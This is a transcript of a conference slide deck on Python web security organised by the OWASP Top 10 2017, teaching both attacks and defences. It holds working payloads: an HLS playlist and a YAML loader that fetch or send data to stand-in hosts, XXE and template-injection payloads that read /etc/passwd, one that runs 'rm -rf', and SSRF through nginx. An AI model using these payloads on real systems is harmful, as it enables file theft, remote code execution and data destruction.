Upgrade to Pro — share decks privately, control downloads, hide ads and more …

PyCon Russia 2017. (Un)safe Python.

PyCon Russia 2017. (Un)safe Python.

OWASP TOP 10 2017 in Python-world.

Ivan Tsyganov

July 17, 2017
Tweet

More Decks by Ivan Tsyganov

Other Decks in Programming

Transcript

  1. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  2. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  3. A9 Using Components with Known Vulnerabilities #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http:

    //hacker.ru/list.m3u8|file: ///etc/passwd #EXT-X-ENDLIST #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:, http://hacker.ru/reciever?
  4. A9 Using Components with Known Vulnerabilities #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http:

    //hacker.ru/list.m3u8|file: ///etc/passwd #EXT-X-ENDLIST #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:, http://hacker.ru/reciever? 127.0.0.1 - - [07/Jul/2017 22:00:44] "GET /reciever? nobody:*:-2:-2:Unprivileged%20;User:/var/empty:/usr/bin/false\nroot:*: 0:0:System%20;Administrator:/var/root:/bin/sh\n HTTP/1.1" 200 - https: //habrahabr.ru/company/mailru/blog/274855/
  5. A9 Using Components with Known Vulnerabilities Buffer overflow in the

    socket.recvfrom_into function in Modules/ socketmodule.c in Python 2.5 before 2.7.7, 3.x before 3.3.4, and 3.4.x before 3.4rc1 allows remote attackers to execute arbitrary code via a crafted string. Publish Date : 2014-02-28 CVE-2014-1912
  6. A9 Using Components with Known Vulnerabilities ✤ Changelogs ✤ http://www.cvedetails.com/

    ✤ http://www.securitylab.ru/ ✤ https://twitter.com/CVEnew/
  7. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  8. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  9. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  10. A7 Insufficient Attack Protection ✤ Bruteforce ✤ Undetected admin access

    ✤ Security scanner usage ✤ … and other attacks
  11. A7 Attack protection Django ✤ Logs all logins ✤ Applies

    rate limits ✤ Supports blacklists ✤ … django-defender https://github.com/kencochrane/django-defender
  12. A7 INSTALLED_APPS = (
 'django.contrib.admin',
 'django.contrib.auth',
 'django.contrib.contenttypes',
 'django.contrib.sessions',
 'django.contrib.sites',
 ...,


    'defender',
 ) 
 MIDDLEWARE_CLASSES = (
 'django.middleware.common.CommonMiddleware',
 'django.contrib.sessions.middleware.SessionMiddleware',
 'django.contrib.auth.middleware.AuthenticationMiddleware',
 'defender.middleware.FailedLoginMiddleware'
 ) Attack protection Django-defenger
  13. A7 class Role(db.Model, RoleMixin):
 . . . 
 class User(db.Model,

    UserMixin): . . . 
 user_datastore = SQLAlchemyUserDatastore( db, User, Role)
 security = Security(app, user_datastore)
 
 Attack protection Flask-Security
  14. A7 
 class User(db.Model, UserMixin):
 id = db.Column(db.Integer, primary_key=True)
 email

    = db.Column(db.String(255), unique=True)
 password = db.Column(db.String(255))
 active = db.Column(db.Boolean())
 confirmed_at = db.Column(db.DateTime())
 failed_login_attempts = db.Column(db.Integer(), default=0) Attack protection Flask-Security
  15. A7 class SecureLoginForm(LoginForm):
 captcha = RecaptchaField()
 
 def show_captcha(self):
 return

    self.user and self.user.failed_login_attempts > 4
 
 def validate(self):
 self.user = _datastore.get_user(self.email.data)
 if not self.user:
 return False
 
 if not self.show_captcha():
 del self._fields['captcha']
 
 result = super().validate()
 if not result:
 self.user.failed_login_attempts += 1
 else:
 self.user.failed_login_attempts = 0
 _datastore.put(self.user)
 _datastore.commit()
 return result Attack protection Flask-Security
  16. A7 {% from "security/_macros.html" import render_field_with_errors, render_field %}
 {% include

    "security/_messages.html" %}
 <h1>Login </h1>
 <form action="{{ url_for_security('login') }}" method="POST" name="login_user_form">
 {{ login_user_form.hidden_tag() }}
 {{ render_field_with_errors(login_user_form.email) }}
 {{ render_field_with_errors(login_user_form.password) }}
 {{ render_field_with_errors(login_user_form.remember) }}
 {% if login_user_form.show_captcha() %} {{ render_field_with_errors(login_user_form.captcha) }} {% endif %} {{ render_field(login_user_form.next) }}
 {{ render_field(login_user_form.submit) }}
 </form>
 {% include "security/_menu.html" %} Attack protection Flask-Security
  17. A7 import logging
 from flask import request
 from flask_login import

    user_logged_in
 
 
 logger = logging.getLogger(__name__)
 
 def log_login(sender, user):
 logger.info( 'User %s logged in from %s', (user.email, request.remote_addr) )
 
 user_logged_in.connect(log_login)
 Attack protection Flask-Security
  18. A7 Insufficient Attack Protection ✤ Bruteforce ✤ Undetected admin access

    ✤ Security scanner usage ✤ … and other attacks
  19. A7 Insufficient Attack Protection ✤Write and analyse logs ✤Use Web

    Application Firewall ✤Block hacking attempts
  20. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  21. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  22. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  23. A5 Security Misconfiguration Hacker see traceback @app.errorhandler(404)
 def page_not_found(e):
 template

    = '''
 Dear {username}, following page not found:
 <h3>{url} </h3>
 '''.format(username=current_user.name, url=request.url)
 return render_template_string(template), 404

  24. @app.errorhandler(404)
 def page_not_found(e):
 template = '''
 Dear {username}, following page

    not found:
 <h3>{url} </h3>
 '''.format(username=current_user.name, url=request.url)
 return render_template_string(template), 404
 A5 Security Misconfiguration Hacker see traceback
  25. @app.errorhandler(404)
 def page_not_found(e):
 template = '''
 Dear {username}, following page

    not found:
 <h3>{url} </h3>
 '''.format(username=current_user.name, url=request.url)
 return render_template_string(template), 404
 A5 Security Misconfiguration Hacker see traceback
  26. @app.errorhandler(404)
 def page_not_found(e):
 template = '''
 Dear {username}, following page

    not found:
 <h3>{url} </h3>
 '''.format(username=current_user.name, url=request.url)
 return render_template_string(template), 404
 A5 Security Misconfiguration Hacker see traceback
  27. A5 Security Misconfiguration root /your/django/project; location / { try_files $uri

    @django; } location @django { proxy_pass http: //django_backend; }
  28. A5 Security Misconfiguration GET http: //yoursite.com/manage.py $ tree /your/django/project |

    + -- media +---- style.css + -- application +---- __init__.py +---- settings.py +---- urls.py +---- wsgi.py + -- manage.py
  29. A5 Security Misconfiguration location /media { alias /your/django/project/media; } location

    /static { alias /your/django/project/static; } location / { proxy_pass http: //django_backend; }
  30. A5 Security Misconfiguration rewrite ^/(.*)/some$ /$1/ last; . . .

    location ~* ^/proxy/(?<p_proto>https?)/(?<p_host>.*?)/(?<p_path>.*)$ { internal; proxy_pass $p_proto://$p_host/$p_path ; proxy_set_header Host $p_host; }
  31. A5 Security Misconfiguration https: //your_site.com/proxy/https/evil.com/login/some rewrite ^/(.*)/some$ /$1/ last; location

    ~* ^/proxy/(?<p_proto>https?)/(?<p_host>.*?)/(?<p_path>.*)$ { internal; proxy_pass $p_proto://$p_host/$p_path ; proxy_set_header Host $p_host; }
  32. A5 Security Misconfiguration https: //your_site.com/proxy/https/evil.com/login/some https: //evil.com/login rewrite ^/(.*)/some$ /$1/

    last; location ~* ^/proxy/(?<p_proto>https?)/(?<p_host>.*?)/(?<p_path>.*)$ { internal; proxy_pass $p_proto://$p_host/$p_path ; proxy_set_header Host $p_host; }
  33. A5 Security Misconfiguration https: //your_site.com/proxy/https/evil.com/login/some https: //evil.com/login rewrite ^/(.*)/some$ /$1/

    last; location ~* ^/proxy/(?<p_proto>https?)/(?<p_host>.*?)/(?<p_path>.*)$ { internal; proxy_pass $p_proto://$p_host/$p_path ; proxy_set_header Host $p_host; }
  34. A5 Security Misconfiguration https: //github.com/yandex/gixy ✤ Server Side Request Forgery

    ✤ HTTP Splitting ✤ Problems with referrer/origin validation ✤ Redefining of response headers by "add_header" directive ✤ Request's Host header forgery ✤ none in valid_referers ✤ Multiline response headers GIXY
  35. A5 Security Misconfiguration ✤ Read documentation ✤ Use tools to

    check your configs ✤ Separate production/development env
  36. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  37. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  38. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  39. Injection XML A1 from lxml import etree
 user_xml = '''<?xml

    version="1.0"?>
 <notifications>
 <messages>disabled </messages>
 <call>enabled </call>
 </notifications>
 '''
 tree = etree.fromstring(user_xml)
 for setting in tree.xpath('/notifications /*'):
 if setting.text not in ('enabled', 'disabled'):
 raise ValueError(
 "Incorrect value '{}'".format(value)
 )
 . . .
  40. Injection XML A1 from lxml import etree
 
 user_xml =

    '''<?xml version="1.0"?>
 <!DOCTYPE root [ <!ENTITY passwd SYSTEM "file: ///etc/passwd">]>
 <notifications>
 <messages>&passwd; </messages>
 <call>enabled </call>
 </notifications>
 ''' tree = etree.fromstring(user_xml)
 for setting in tree.xpath('/notifications /*'):
 if setting.text not in ('enabled', 'disabled'):
 raise ValueError(
 "Incorrect value ‘{}’".format(value)
 )
 . . .
  41. Injection. XML. A1 from lxml import etree
 
 user_xml =

    '''<?xml version="1.0"?>
 <!DOCTYPE root [ <!ENTITY passwd SYSTEM "file: ///etc/passwd">]>
 <notifications>
 <messages>&passwd; </messages>
 <call>enabled </call>
 </notifications>
 ''' tree = etree.fromstring(user_xml)
 for setting in tree.xpath('/notifications /*'):
 if setting.text not in ('enabled', 'disabled'):
 raise ValueError(
 "Incorrect value ‘{}’".format(value)
 )
 . . . Traceback (most recent call last): File «pycon_example.py", line 53, in <module> "Incorrect value '{}'".format(setting.text) ValueError: Incorrect value ' ## # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. # # See the opendirectoryd(8) man page for additional information about # Open Directory. ## nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false root:*:0:0:System Administrator:/var/root:/bin/sh daemon:*:1:1:System Services:/var/root:/usr/bin/false
  42. Injection XML A1 from lxml import etree
 
 user_xml =

    '''<?xml version="1.0"?>
 <!DOCTYPE root [ <!ENTITY passwd SYSTEM "file: ///etc/passwd">]>
 <notifications>
 <messages>&passwd; </messages>
 <call>enabled </call>
 </notifications>
 ''' tree = etree.fromstring(
 user_xml, parser=etree.XMLParser(resolve_entities=False)
 ) for setting in tree.xpath('/notifications /*'):
 if setting.text not in ('enabled', 'disabled'):
 raise ValueError(
 "Incorrect value '{}'".format(value)

  43. Injection. XML. A1 from lxml import etree
 
 user_xml =

    '''<?xml version="1.0"?>
 <!DOCTYPE root [ <!ENTITY passwd SYSTEM "file: ///etc/passwd">]>
 <notifications>
 <messages>&passwd; </messages>
 <call>enabled </call>
 </notifications>
 ''' tree = etree.fromstring(user_xml)
 for setting in tree.xpath('/notifications /*'):
 if setting.text not in ('enabled', 'disabled'):
 raise ValueError(
 "Incorrect value ‘{}’".format(value)
 )
 . . . Traceback (most recent call last): File "pycon_example.py", line 53, in <module> "Incorrect value '{}'".format(setting.text) ValueError: Incorrect value 'None'
  44. Injection YAML A1 user_input = '''
 key: value
 '''
 data

    = yaml.load(user_input) {'key': 'value'}
  45. Injection YAML A1 user_input = '''
 key: !!python/object/apply:subprocess.check_output
 args:
 -

    ['ping', 'ptsecurity.com', '-c 1']
 '''
 data = yaml.load(user_input)
  46. Injection. YAML. A1 import yaml
 user_input = '''
 key: value


    '''
 data = yaml.load(user_input) {'key': b''' PING ptsecurity.com (109.238.242.125): 56 data bytes 64 bytes from 109.238.242.125: icmp_seq=0 ttl=58 time=9.522 ms --- ptsecurity.com ping statistics --- 1 packets transmitted, 1 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 9.522/9.522/9.522/0.000 ms '''}
  47. Injection YAML A1 user_input = '''
 key: !!python/object/apply:subprocess.check_output
 args:
 -

    - 'curl'
 - '-o'
 - '/tmp/xxx.py'
 - ‘http: //coolhacker.com/exploit.py' key2: !!python/object/apply:os.system
 args:
 - 'python /tmp/xxx.py'
 ''' data = yaml.load(user_input)
  48. Injection. YAML. A1 user_input = '''
 key: !!python/object/apply:subprocess.check_output
 args:
 -

    - 'curl'
 - '-o'
 - '/tmp/xxx.py'
 - ‘http: //coolhacker.com/exploit.py' key2: !!python/object/apply:os.system
 args:
 - 'python3 /tmp/xxx.py’
 ''' data = yaml.load(user_input) > curl http: //target.com:8000/cat%20/etc/passwd nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false root:*:0:0:System Administrator:/var/root:/bin/sh daemon:*:1:1:System Services:/var/root:/usr/bin/false
  49. Injection YAML A1 Loading YAML Warning: It is not safe

    to call yaml.load with any data received from an untrusted source! yaml.load is as powerful as pickle.load and so may call any Python function. Check the yaml.safe_load function though.
  50. Injection YAML A1 user_input = '''
 key: !!python/name:yaml.__version__
 '''
 data

    = yaml.safe_load(user_input) yaml.constructor.ConstructorError: could not determine a constructor for the tag 'tag:yaml.org,2002:python/name:yaml.__version__' in "<unicode string>", line 1, column 6: key: !!python/name:yaml.__version__
  51. Injection Templates A1 from flask import render_template_string
 user = 'Admin'

    template = 'Hello, %s!' % user
 render_template_string(template)
  52. Injection. Templates. A1 user = "{{''}}" template = ‘Hello, %s!'

    % user Hello, [ <class 'property'>, <class 'operator.itemgetter'>, <class 'builtin_function_or_method'>, <class '_thread._localdummy'>, <class 'flask.sessions.SessionMixin'>, <class 'inspect._empty'>, <class 'click.parser.OptionParser'>, <class '_frozen_importlib_external.FileLoader'>, <class 'itsdangerous.Serializer'>, <class 'tarfile._StreamProxy'>, <class 'codeop.CommandCompiler'>, <class 'werkzeug.wrappers.AcceptMixin'>, <class 'codecs.StreamRecoder'>, <class 'fieldnameiterator'>, <class 'ctypes.CDLL'>, …
  53. Injection. Templates. A1 user = "{{''}}" template = ‘Hello, %s!'

    % user Hello, [ <class 'property'>, <class 'operator.itemgetter'>, <class 'builtin_function_or_method'>, <class '_thread._localdummy'>, <class 'flask.sessions.SessionMixin'>, <class 'inspect._empty'>, <class 'click.parser.OptionParser'>, <class '_frozen_importlib_external.FileLoader'>, <class 'itsdangerous.Serializer'>, <class 'tarfile._StreamProxy'>, <class 'codeop.CommandCompiler'>, <class 'werkzeug.wrappers.AcceptMixin'>, <class 'codecs.StreamRecoder'>, <class 'fieldnameiterator'>, <class ‘ctypes.CDLL’>, …
  54. Injection Templates A1 user = """
 {% for item in

    x.__class__.__base__.__subclasses__() %}
 {% if item.__name__ == 'FileLoader' %}
 {{ item.__hash__.__globals__['__builtins__']['open']('/etc/passwd')}}
 {% endif %}
 {% endfor %}
 """
 
 template = 'Hello, {}!'.format(user)
  55. Injection. Templates. A1 user = "{{''}}" template = ‘Hello, %s!'

    % user Hello, [ . . . '# Open Directory.\n', ' ##\n', 'nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/ false\n', 'root:*:0:0:System Administrator:/var/root:/bin/sh\n', . . . ]
  56. Injection Templates A1 user = """
 {% for item in

    x.__class__.__base__.__subclasses__() %}
 {% if item.__name__ == 'FileLoader' %}
 {{
 item.__hash__.__globals__['__builtins__']['eval'](" 
 __import__('os').system('rm -rf . /*', shell=True)
 ")
 }}
 {% endif %}
 {% endfor %} """
 
 template = 'Hello, {}!’.format(user)
  57. Injection Templates A1 template = Template("Hello, {{ user }}.")
 template.render(

    Context({"user": "Admin"}) ) return render_template_string( 'Hello, {{ user }}.', user='Admin' )

  58. Injection str.format A1 CONFIG = {'SECRET_KEY': 'MY_SUPER_SECRET_KEY'} class LogEntry:
 def

    __init__(self, id, time, msg):
 self.id = id
 self.time = time
 self.msg = msg
 
 def format_log(format_, value):
 assert isinstance(value, LogEntry), \
 'value must be LogEntry'
 
 return format_.format(entry=value)

  59. Injection str.format A1 entry = LogEntry( id=1, time=time.time(), msg='System loaded')


    print(format_log('{entry.id}: {entry.msg}', entry))
 >>> 1: System loaded
  60. Injection str.format A1 entry = LogEntry( id=1, time=time.time(), msg='System loaded')


    print(format_log( '{entry.__init__.__globals__[CONFIG]}', entry ))
 >>>
  61. Injection str.format A1 entry = LogEntry( id=1, time=time.time(), msg='System loaded')


    print(format_log( '{entry.__init__.__globals__[CONFIG]}', entry ))
 >>> {'SECRET_KEY': 'MY_SUPER_SECRET_KEY'}
  62. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  63. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  64. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  65. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  66. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  67. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  68. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  69. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  70. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  71. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  72. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  73. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  74. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  75. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs